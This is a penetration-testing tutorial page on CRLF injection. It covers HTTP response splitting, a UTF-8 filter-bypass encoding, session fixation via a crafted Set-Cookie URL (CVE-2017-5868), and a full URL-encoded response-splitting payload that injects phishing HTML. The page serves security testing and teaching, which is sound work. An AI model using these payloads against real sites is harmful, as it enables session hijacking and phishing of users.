🛠️ CRLF injection

Theory

CRLF represents termination of line:

CR = Carriage Return (\r)
LF = Line Feed (\n)

Windows and the protocol HTTP uses the CRLF however, Linux doesn't (it only uses LF). The CRLF injection is a type of attack where an attacker injects a termination of line into an application (via HTTP or URL) to provoke other types of vulnerability (HTTP Response Splitting, Log Injection...).

Practice

HTTP Response Splitting

Reconnaissance

Important: before even considering a CRLF injection, testers have to find any data that is sent in a request and reflected in the response (that follows the previous request).
An example by SecureFlag considers an application that in case of error (/?error=Page+Not+found), redirects the user using the Location HTTP header while reflecting the value of the error parameter:

# Response (due to an application error)
HTTP/1.1 301 Moved Permanently
Location: /index?error=Page+Not+Found

From cases similar to this one, testers have to find a place where CRLF injection is possible, such as:

URL: https://example.com/<CRLF_injection>
Query parameter: https://example.com/lang=en<CRFL_injection>

Upon using a CRLF injection, testers can inject arbitrary HTTP headers.

Filter bypass: one can bypass filters using UTF-8 encoding

CRLF = %E5%98%8A%E5%98%8D

Session fixation

A good example of session fixation (with CRLF injection) comes from the CVE-2017-5868 and is explained in this post.

An attacker notice that the parameter __session_start in OpenVPN is vulnerable to CRLF injection.

The attacker crafts an URL by setting a cookie:

https://example.com/__session_start__/<CRLF_injection>Set-Cookie:<Cookie>[...]

The attacker sends this crafted URL to a victim.
The victim opens the URL and authenticates itself. Once authenticated, the cookie will be associated with its session.
The attacker can now use the cookie with the fixed session to access the victim's profile.

Cross-Site Scripting (XSS)

PayloadsAllTheThings has an interesting payload to write a document, and therefore include an XSS.

Requested page:

http://www.example.net/index.php?lang=en%0D%0AContent-Length%3A%200%0A%20%0AHTTP/1.1%20200%20OK%0AContent-Type%3A%20text/html%0ALast-Modified%3A%20Mon%2C%2027%20Oct%202060%2014%3A50%3A18%20GMT%0AContent-Length%3A%2034%0A%20%0A%3Chtml%3EYou%20have%20been%20Phished%3C/html%3E

HTTP response:

Set-Cookie:en
Content-Length: 0

HTTP/1.1 200 OK
Content-Type: text/html
Last-Modified: Mon, 27 Oct 2060 14:50:18 GMT
Content-Length: 34

<html>You have been Phished</html>